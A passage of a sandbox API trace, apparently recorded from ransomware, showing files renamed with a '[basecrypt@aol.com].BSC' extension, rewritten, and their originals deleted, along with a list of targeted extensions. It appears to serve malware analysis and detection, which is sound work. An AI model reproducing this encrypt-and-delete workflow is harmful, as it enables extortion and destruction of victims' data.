(lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0111.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.370] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 1 [0111.370] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0111.370] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc64 | out: lpNewFilePointer=0x0) returned 1 [0111.370] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0111.370] ReadFile (in: hFile=0x33c, lpBuffer=0x3904058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3904058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0111.680] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0111.681] ReadFile (in: hFile=0x33c, lpBuffer=0x3944058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3944058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0111.773] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e3fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0111.773] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0111.773] ReadFile (in: hFile=0x33c, lpBuffer=0x3984058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3984058*, lpNumberOfBytesRead=0x2e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0114.127] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.127] WriteFile (hFile=0x33c, lpBuffer=0x3904020, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2e3fca8, lpOverlapped=0x0) Thread: id = 12 os_tid = 0xd30 [0099.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x66e490 [0099.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x67e498 [0099.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab20 [0099.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d050 [0099.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac10 [0099.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3a16020 [0099.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac28 [0099.832] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ac28, Size=0x20) returned 0x5fec78 [0099.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab38 [0099.832] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ab38, Size=0x20) returned 0x5feb88 [0099.832] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.832] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.832] Wow64DisableWow64FsRedirection (in: OldValue=0x2f3ff50 | out: OldValue=0x2f3ff50*=0x0) returned 1 [0099.832] lstrlenW (lpString="kernel32.dll") returned 12 [0099.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.832] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.833] Sleep (dwMilliseconds=0x64) [0099.996] Sleep (dwMilliseconds=0x64) [0100.241] Sleep (dwMilliseconds=0x64) [0100.431] Sleep (dwMilliseconds=0x64) [0100.793] lstrcmpiW (lpString1=".cmd", lpString2=".BSC") returned 1 [0100.793] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0100.793] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0101.010] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=577) returned 1 [0101.010] CloseHandle (hObject=0x30c) returned 1 [0101.010] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0101.010] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.010] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0101.010] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.010] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.010] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0101.550] GetLastError () returned 0x0 [0101.550] ReadFile (in: hFile=0x30c, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x241, lpOverlapped=0x0) returned 1 [0102.150] WriteFile (in: hFile=0x330, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x250, lpOverlapped=0x0) returned 1 [0102.152] ReadFile (in: hFile=0x30c, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.152] WriteFile (in: hFile=0x330, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x104, lpOverlapped=0x0) returned 1 [0102.152] SetEndOfFile (hFile=0x330) returned 1 [0102.152] CloseHandle (hObject=0x330) returned 1 [0102.157] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.157] SetEndOfFile (hFile=0x30c) returned 1 [0102.158] CloseHandle (hObject=0x30c) returned 1 [0102.158] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0102.158] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0102.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.159] lstrlenW (lpString=".doc") returned 4 [0102.159] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0102.159] lstrlenW (lpString=".docx") returned 5 [0102.159] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0102.159] lstrlenW (lpString=".pdf") returned 4 [0102.159] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0102.159] lstrlenW (lpString=".xls") returned 4 [0102.159] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0102.159] lstrlenW (lpString=".xlsx") returned 5 [0102.159] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0102.159] lstrlenW (lpString=".ppt") returned 4 [0102.159] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0102.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.159] lstrlenW (lpString=".zip") returned 4 [0102.159] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0102.159] lstrlenW (lpString=".rar") returned 4 [0102.159] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0102.159] lstrlenW (lpString=".bz2") returned 4 [0102.159] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0102.159] lstrlenW (lpString=".7z") returned 3 [0102.159] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0102.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.160] lstrlenW (lpString=".dbf") returned 4 [0102.160] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0102.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.160] lstrlenW (lpString=".1cd") returned 4 [0102.160] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0102.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.160] lstrlenW (lpString=".jpg") returned 4 [0102.160] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0102.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.160] lstrlenW (lpString=".doc") returned 4 [0102.160] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0102.160] lstrlenW (lpString=".docx") returned 5 [0102.160] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0102.160] lstrlenW (lpString=".pdf") returned 4 [0102.160] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0102.160] lstrlenW (lpString=".xls") returned 4 [0102.160] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0102.160] lstrlenW (lpString=".xlsx") returned 5 [0102.160] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0102.160] lstrlenW (lpString=".ppt") returned 4 [0102.160] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0102.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.160] lstrlenW (lpString=".zip") returned 4 [0102.161] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0102.161] lstrlenW (lpString=".rar") returned 4 [0102.161] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0102.161] lstrlenW (lpString=".bz2") returned 4 [0102.161] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0102.161] lstrlenW (lpString=".7z") returned 3 [0102.161] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0102.161] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.161] lstrlenW (lpString=".dbf") returned 4 [0102.161] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0102.161] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.161] lstrlenW (lpString=".1cd") returned 4 [0102.161] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0102.161] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0102.161] lstrlenW (lpString=".jpg") returned 4 [0102.161] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0102.161] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.161] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.162] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=17240) returned 1 [0102.162] CloseHandle (hObject=0x30c) returned 1 [0102.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0102.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.162] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.162] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.176] GetLastError () returned 0x0 [0102.176] ReadFile (in: hFile=0x30c, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x4358, lpOverlapped=0x0) returned 1 [0102.218] WriteFile (in: hFile=0x33c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x4360, lpOverlapped=0x0) returned 1 [0102.219] ReadFile (in: hFile=0x30c, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.219] WriteFile (in: hFile=0x33c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.219] SetEndOfFile (hFile=0x33c) returned 1 [0102.219] CloseHandle (hObject=0x33c) returned 1 [0102.220] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.220] SetEndOfFile (hFile=0x30c) returned 1 [0102.221] CloseHandle (hObject=0x30c) returned 1 [0102.221] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.222] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0102.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.222] lstrlenW (lpString=".doc") returned 4 [0102.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.222] lstrlenW (lpString=".docx") returned 5 [0102.222] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.222] lstrlenW (lpString=".pdf") returned 4 [0102.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.222] lstrlenW (lpString=".xls") returned 4 [0102.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.223] lstrlenW (lpString=".xlsx") returned 5 [0102.223] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.223] lstrlenW (lpString=".ppt") returned 4 [0102.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.223] lstrlenW (lpString=".zip") returned 4 [0102.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.223] lstrlenW (lpString=".rar") returned 4 [0102.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.223] lstrlenW (lpString=".bz2") returned 4 [0102.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.223] lstrlenW (lpString=".7z") returned 3 [0102.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.223] lstrlenW (lpString=".dbf") returned 4 [0102.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.223] lstrlenW (lpString=".1cd") returned 4 [0102.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.223] lstrlenW (lpString=".jpg") returned 4 [0102.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.224] lstrlenW (lpString=".doc") returned 4 [0102.224] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.224] lstrlenW (lpString=".docx") returned 5 [0102.224] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.224] lstrlenW (lpString=".pdf") returned 4 [0102.224] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.224] lstrlenW (lpString=".xls") returned 4 [0102.224] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.224] lstrlenW (lpString=".xlsx") returned 5 [0102.224] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.224] lstrlenW (lpString=".ppt") returned 4 [0102.224] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.224] lstrlenW (lpString=".zip") returned 4 [0102.224] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.224] lstrlenW (lpString=".rar") returned 4 [0102.224] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.224] lstrlenW (lpString=".bz2") returned 4 [0102.224] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.224] lstrlenW (lpString=".7z") returned 3 [0102.224] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.224] lstrlenW (lpString=".dbf") returned 4 [0102.224] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.224] lstrlenW (lpString=".1cd") returned 4 [0102.225] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0102.225] lstrlenW (lpString=".jpg") returned 4 [0102.225] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.225] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.225] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.432] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=16728) returned 1 [0102.433] CloseHandle (hObject=0x2f4) returned 1 [0102.433] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0102.433] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.433] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.433] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.433] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.433] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.460] GetLastError () returned 0x0 [0102.461] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x4158, lpOverlapped=0x0) returned 1 [0102.528] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x4160, lpOverlapped=0x0) returned 1 [0102.529] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.529] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.529] SetEndOfFile (hFile=0x34c) returned 1 [0102.533] CloseHandle (hObject=0x34c) returned 1 [0102.537] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.537] SetEndOfFile (hFile=0x2f4) returned 1 [0102.538] CloseHandle (hObject=0x2f4) returned 1 [0102.539] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.539] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0102.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.540] lstrlenW (lpString=".doc") returned 4 [0102.540] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.540] lstrlenW (lpString=".docx") returned 5 [0102.540] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.540] lstrlenW (lpString=".pdf") returned 4 [0102.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.540] lstrlenW (lpString=".xls") returned 4 [0102.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.540] lstrlenW (lpString=".xlsx") returned 5 [0102.540] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.540] lstrlenW (lpString=".ppt") returned 4 [0102.540] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.540] lstrlenW (lpString=".zip") returned 4 [0102.540] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.540] lstrlenW (lpString=".rar") returned 4 [0102.540] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.540] lstrlenW (lpString=".bz2") returned 4 [0102.540] lstrcmpiW (lpString1=".bz2", 